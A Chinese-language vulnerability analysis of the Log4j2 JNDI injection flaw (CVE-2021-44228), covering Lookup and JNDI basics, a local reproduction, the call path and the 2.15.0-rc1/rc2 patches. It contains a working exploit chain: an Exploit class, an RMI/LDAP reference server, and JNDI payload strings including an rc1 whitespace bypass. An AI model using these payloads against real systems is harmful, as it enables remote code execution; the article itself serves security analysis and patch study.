Log4j2的JNDI注入漏洞(CVE-2021-44228)原理分析與思考


https://www.freebuf.com/vuls/316143.html

 

前言

最近Log4j2的JNDI注入漏洞(CVE-2021-44228)可以稱之為“核彈”級別。Log4j2作為類似JDK級別的基礎類庫,幾乎沒人能夠幸免。極盾科技技術總監對該漏洞進行復現和分析其形成原理。在此分享。

以下涉及的代碼,均在mac OS 10.14.5,JDK1.8.0_91環境下成功運行。

一、 前置知識

1.1 Log4j2

Log4j2是一個Java日志組件,被各類Java框架廣泛地使用。它的前身是Log4j,Log4j2重新構建和設計了框架,可以認為兩者是完全獨立的兩個日志組件。本次漏洞影響范圍為Log4j2最早期的版本2.0-beta9到2.15.0。

因為存在前身Log4j,而且都是Apache下的項目,不管是jar包名稱還是package名稱,看起來都很相似,導致有些人分不清自己用的是Log4j還是Log4j2。這里給出幾個辨別方法:

  1. Log4j2分為2個jar包,一個是接口log4j-api-${版本號}.jar,一個是具體實現log4j-core-${版本號}.jar。Log4j只有一個jar包log4j-${版本號}.jar
  2. Log4j2的版本號目前均為2.x。Log4j的版本號均為1.x。
  3. Log4j2的package名稱前綴為org.apache.logging.log4j。Log4j的package名稱前綴為org.apache.log4j

1.2 Log4j2 Lookup

Log4j2的Lookup主要功能是通過引用一些變量,往日志中添加動態的值。這些變量可以是外部環境變量,也可以是MDC中的變量,還可以是日志上下文數據等。

下面是一個簡單的Java Lookup例子和輸出:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;

public class Log4j2Lookup {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

    public static void main(String[] args) {
        ThreadContext.put("userId", "test");
        LOGGER.error("userId: ${ctx:userId}");
    }
}
10:21:19.618 [main] ERROR Log4j2RCEPoc - userId: test

從上面的例子可以看到,通過在日志字符串中加入"${ctx:userId}",Log4j2在輸出日志時,會自動在Log4j2的ThreadContext中查找並引用userId變量。格式類似"${type:var}",即可以實現對變量var的引用。type可以是如下值:

  • ctx:允許程序將數據存儲在 Log4j ThreadContextMap 中,然后在日志輸出過程中,查找其中的值。
  • env:允許系統在全局文件(如 /etc/profile)或應用程序的啟動腳本中配置環境變量,然后在日志輸出過程中,查找這些變量。例如:${env:USER}
  • java:允許查找Java環境配置信息。例如:${java:version}
  • jndi:允許通過 JNDI 檢索變量。
  • ......

其中和本次漏洞相關的便是jndi,例如:${jndi:rmi//127.0.0.1:1099/a},表示通過JNDI Lookup功能,獲取rmi//127.0.0.1:1099/a上的變量內容。

1.3 JNDI

JNDI(Java Naming and Directory Interface,Java命名和目錄接口),是Java提供的一個目錄服務應用程序接口(API),它提供一個目錄系統,並將服務名稱與對象關聯起來,從而使得開發人員在開發過程中可以使用名稱來訪問對象 。

例如使用數據庫,需要在各個應用中配置各種數據庫相關的參數后使用。通過JNDI,可以將數據庫相關的配置在一個支持JNDI服務的容器(通常Tomat等Web容器均支持)中統一完成,並暴露一個簡潔的名稱,該名稱背后綁定着一個DataSource對象。各個應用只需要通過該名稱和JNDI接口,獲取該名稱背后的DataSource對象。當然,現在SpringBoot單體發布模式,極少會使用這種方式了。

再舉個更簡單的例子,這有點類似DNS提供域名到IP地址的解析服務。域名簡潔易懂,便於普通用戶使用,背后真正對應的是一個復雜難記的IP,甚至還可能是多個IP。DNS即JNDI服務,域名即可用於綁定和查找的名稱,IP即該名稱綁定的真正對象。用現代可以類比的技術來說,JNDI就是一個對象注冊中心。

JNDI由三部分組成:JNDI API、Naming Manager、JNDI SPI。JNDI API是應用程序調用的接口,JNDI SPI是具體實現,應用程序需要指定具體實現的SPI。下圖是官方對JNDI介紹的架構圖:

1639970708_61bff79460979ac193bb7.png!small?1639970707819

下面是一個簡單的例子:

public interface Hello extends java.rmi.Remote {
    public String sayHello(String from) throws java.rmi.RemoteException;
}
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
    public HelloImpl() throws java.rmi.RemoteException {
        super();
    }

    @Override
    public String sayHello(String from) throws java.rmi.RemoteException {
        System.out.println("Hello from " + from + "!!");
        return "sayHello";
    }
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class HelloServer {
    public static void main(String[] args) throws RemoteException, NamingException {
        LocateRegistry.createRegistry(1099);
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
        InitialContext context = new InitialContext();
        context.bind("java:hello", new HelloImpl());
        context.close();
    }
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class HelloClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
        InitialContext context = new InitialContext();
        Hello rmiObject = (Hello) context.lookup("java:hello");
        System.out.println(rmiObject.sayHello("world"));
        context.close();
    }
}

先運行HelloServer,再運行HelloClient,即可看到運行輸出的結果:sayHello

HelloServerHelloImpl對象綁定到java:hello名稱上。HelloClient使用java:hello名稱,即可獲取HelloImpl對象。

1.4 JNDI注入

由前面的例子可以看到,JNDI服務管理着一堆的名稱和這些名稱上綁定着的對象。如果這些對象不是本地的對象,會如何處理?JNDI還支持從指定的遠程服務器上下載class文件,加載到本地JVM中,並通過適當的方式創建對象。

“class文件加載到本地JVM中,並通過適當的方式創建對象”,在這個過程中,static代碼塊以及創建對象過程中的某些特定回調方法即有機會被執行。JNDI注入正是基於這個思路實現的。

本篇文章主要分析Log4j2的JNDI注入產生原因,並不會對JNDI注入自身太過關注,網上也有大量分析的文章可供參考,這里就不再詳述了。

二、 漏洞復現

以下復現使用Log4j2-2.14.1版本,maven的引用依賴參考如下:

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>
  1. 編寫漏洞利用代碼Exploit並編譯生成Exploit.class。代碼如下:
public class Exploit {
    static {
        String cmd = "/Applications/Calculator.app/Contents/MacOS/Calculator";
        final Process process;
        try {
            process = Runtime.getRuntime().exec(cmd);
            process.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  1. 本地執行python3 -m http.server 8081,啟動web服務器,監聽在8081端口。將上一步編譯生成的Exploit.class文件放到web服務的根目錄(根目錄即為執行python3 -m http.server 8081命令的工作目錄)。
  1. 編寫RMI服務端代碼RMIServer,並編譯運行。代碼如下:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8081/");
        ReferenceWrapper exploitWrapper = new ReferenceWrapper(exploit);
        registry.bind("exp", exploitWrapper);
    }
}
  1. 編寫漏洞poc代碼,並編譯運行。代碼和運行結果如下:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RCEPoc {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

    public static void main(String[] args) {
        LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}");
    }
}

1639970833_61bff81151594a846cb3e.png!small?1639970833930

三、 漏洞原理

由於是JNDI注入,因此可以通過在InitialContext.lookup(String name)方法上設置端點,觀察整個漏洞觸發的調用堆棧,來了解原理。調用堆棧如下:

1639970856_61bff82870e443c2e18a9.png!small?1639970855838

整個調用堆棧較深,這里把幾個關鍵點提取整理如下:

LOGGER.error
  ......
    MessagePatternConverter.format
      ....
        StrSubstitutor.resolveVariable
          Interpolator.lookup
            JndiLookup.lookup
              JndiManager.lookup
                InitialContext.lookup

3.1 MessagePatternConverter.format()

poc代碼中的LOGGER.error()方法最終會調用到MessagePatternConverter.format()方法,該方法對日志內容進行解析和格式化,並返回最終格式化后的日志內容。當碰到日志內容中包含${子串時,調用StrSubstitutor進行進一步解析。

1639970877_61bff83dadfc6bff8dc23.png!small?1639970877452

3.2 StrSubstitutor.resolveVariable()

StrSubstitutor將${}之間的內容提取出來,調用並傳遞給Interpolator.lookup()方法,實現Lookup功能。

1639970895_61bff84f970370bf047c6.png!small?1639970895672

3.3 Interpolator.lookup()

Interpolator實際是一個實現Lookup功能的代理類,該類在成員變量strLookupMap中保存着各類Lookup功能的真正實現類。Interpolator對 上一步提取出的內容解析后,從strLookupMap獲得Lookup功能實現類,並調用實現類的lookup()方法。

例如對poc例子中的jndi:rmi://127.0.0.1:1099/exp解析后得到jndi的Lookup功能實現類為JndiLookup,並調用JndiLookup.lookup()方法。

1639970919_61bff867ed2530d26afbf.png!small?1639970920595

3.4 JndiLookup.lookup()

JndiLookup.lookup()方法調用JndiManager.lookup()方法,獲取JNDI對象后,調用該對象上的toString()方法,最終返回該字符串。

1639970936_61bff878ef785d7ed051b.png!small?1639970936629

3.5 JndiManager.lookup()

JndiManager.lookup()較為簡單,直接委托給InitialContext.lookup()方法。這里單獨提到該方法,是因為后續幾個補丁中較為重要的變更即為該方法。

至此,后續即可以按照常規的JNDI注入路徑進行分析。

四、 補丁分析

4.1 2.15.0-rc1

通過比較2.15.0-rc1和該版本之前最后一個版本2.14.1之間的差異,可以發現Log4j2團隊在12月5日提交了一個名為Restrict LDAP access via JNDI (#608)的commit。該commit的詳細內容如下鏈接:

https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3

除去一些測試代碼和輔助代碼,該commit最主要內容是在3.5章節中提到的 JndiManager.lookup()方法增加了幾種限制,分別是allowedHostsallowedClassesallowedProtocols

1639970959_61bff88f9b631f3b23977.png!small?1639970959567

各個限制的內容分別如下:

1639970982_61bff8a6554b74c968197.png!small?1639970985266

1639971001_61bff8b97170828d28da6.png!small?1639971001395

1639971016_61bff8c885762c153229e.png!small?1639971016605

可以看到,rc1補丁通過對JNDI Lookup增加白名單的方式,限制默認可以訪問的主機為本地IP,限制默認支持的協議類型為javaldapldaps,限制LDAP協議默認可以使用的Java類型為少數基礎類型,從而大大減少了默認的攻擊面。

4.2 2.15.0-rc2

4.2.1 rc1中存在的問題

在rc1還未正式成為release版本之前,Log4j團隊又在兩天不到的時間里發布了rc2版本,說明rc1依然存在着一些問題。我們來看下rc1里主要修復的JndiManager.lookup()方法的整體邏輯結構:

public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    ......
                    return null;
                }
                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                    if (!allowedHosts.contains(uri.getHost())) {
                        ......
                        return null;
                    }
                    ......
                    if (!allowedClasses.contains(className)) {
                        ......
                        return null;
                    }
                    ......
                }
            }
        } catch (URISyntaxException ex) {
            // This is OK.
        }
        return (T) this.context.lookup(name);
    }

從上面的代碼結構中可以總結如下的邏輯:

  • 對傳入的name參數進行4.1章節提到的各類檢查。如果檢查不通過,則直接返回null
  • 如果產生URISyntaxException,則對該異常忽略,繼續執行this.context.lookup(name)
  • 如果未產生URISyntaxException,則執行this.context.lookup(name)

我們重點關注catch代碼塊,rc1默認不對URISyntaxException異常做任何處理,繼續執行后續邏輯,即this.context.lookup(name)

再看下try代碼塊中可能產生URISyntaxException的地方。很不幸,try代碼塊的第一個語句即可能產生該異常:URI uri = new URI(name);

試想一下,如果能夠構造某個特殊的URI,導致URI uri = new URI(name);語句解析URI異常,拋出URISyntaxException,但又能被this.context.lookup(name)正確處理,不就可以繞過了嗎?

4.2.2 繞過rc1

由於rc1未在maven中央倉庫上,因此需要自行下載代碼並構建:

到Log4j2的GitHub官方倉庫下載rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。分別進入log4j-api和log4j-core目錄,執行mvn clean install -DskipTests。最終會在本地maven倉庫上生成rc1的jar包,版本為2.15.0,后續測試使用該jar包。

由於rc1默認未開啟Lookup功能,需要先開啟,可以通過在配置文件的%msg中添加{lookup}進行開啟。在當前類路徑下添加log4j2.xml,內容參考如下:

<Configuration>
    <Appenders>
        <Console name="CONSOLE">
            <PatternLayout>
                <pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n</pattern>
            </PatternLayout>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="DEBUG">
            <AppenderRef ref="CONSOLE"/>
        </Root>
    </Loggers>
</Configuration>
  1. 漏洞利用代碼和二、漏洞利用章節中一致,編譯生成Exploit.class。
  1. 本地執行python3 -m http.server 8081,啟動web服務器,監聽在8081端口。將上一步編譯生成的Exploit.class文件放到web服務的根目錄(根目錄即為執行python3 -m http.server 8081命令的工作目錄)。
  1. 由於rc1中默認僅支持javaldapldaps這三種協議,就使用LDAP協議吧。自己搭建LDAP服務器比較麻煩,這里直接利用下marshalsec這個庫。運行java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8081/#Exploit 8888,啟動LDAP服務。
  1. 編寫漏洞poc代碼,並編譯運行。代碼和運行結果如下:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RC1Bypass {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2RC1Bypass.class);

    public static void main(String[] args) {
        LOGGER.error("${jndi:ldap://127.0.0.1:8888/ exp}");
    }
}

1639971053_61bff8ed7d150d4a2f512.png!small?1639971052644

可以看到,通過構建一個簡單的帶空格的異形URI地址(127.0.0.1:8888/exp之間),rc1被繞過了。

4.2.3 rc2的修復方案

通過比較2.15.0-rc1和2.15.0-rc2之間的差異,可以發現Log4j2團隊在12月10日提交了一個名為Handle URI exception的commit。該commit的詳細內容如下鏈接:

https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658

該commit主要內容是對rc1中JndiManager.lookup()方法里的catch代碼塊進行了修改:當URISyntaxException異常被捕獲時,直接返回null。從而無法使用上一章節的異形URI地址繞過。

1639971075_61bff9030dce220832070.png!small?1639971073531

五、思考

本次漏洞就其原理來說,並不復雜,甚至有些簡單。rc1中采用較為嚴格的白名單限制,就應急處理方法上來看,無可厚非。但從歷史上發生的各類漏洞修補過程中來看,必定會有各種地方遺漏導致后續不停地打補丁。從軟件開發角度講,與其在上線后不停修復打補丁,不如在開發早期,即設計階段或者開發階段,盡量避免這類既有可能產生安全風險的設計。在最新版本的2.16.0,Log4j2團隊干脆默認禁用掉了JNDI Lookup功能。

另外,rc1中catch代碼對異常的處理方式,在日常開發過程中也是容易犯的問題。安全中有一個原則,叫做“Fail Safely”,意為安全地處理錯誤。安全地處理錯誤是安全編程的一個重要方面。在程序設計時,要確保安全控制模塊在發生異常時遵循了禁止操作的處理邏輯。例如:一個判斷用戶驗證是否通過的代碼,默認應該設定用戶驗證不通過,僅僅在用戶驗證通過時才設置為驗證通過。這樣即使在驗證過程中發生了異常,並且該異常無意間被捕獲時,任然能確保用戶驗證不通過。

因為Log4j2框架幾乎是一個類似JDK級別的基礎類庫,即便自身應用程序里完成了升級,但極其大量的其它框架、中間件導致升級工作極為困難,甚至在幾年內都無法達到一個可接受的水平。目前,絕大部分公司采取在邊界防護設備上使用“臨時補丁”的方式。同時,大量bypass方法也隨之而來,這將是一個漫長的過程。

“臨時補丁”意味着無法根除,而底層依賴的升級又極為耗時,那么,如何更好地發現並規避在此期間產生的風險呢?

更多內容可參考析策XDR平台

https://www.jidun.cn/product/xice

參考


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM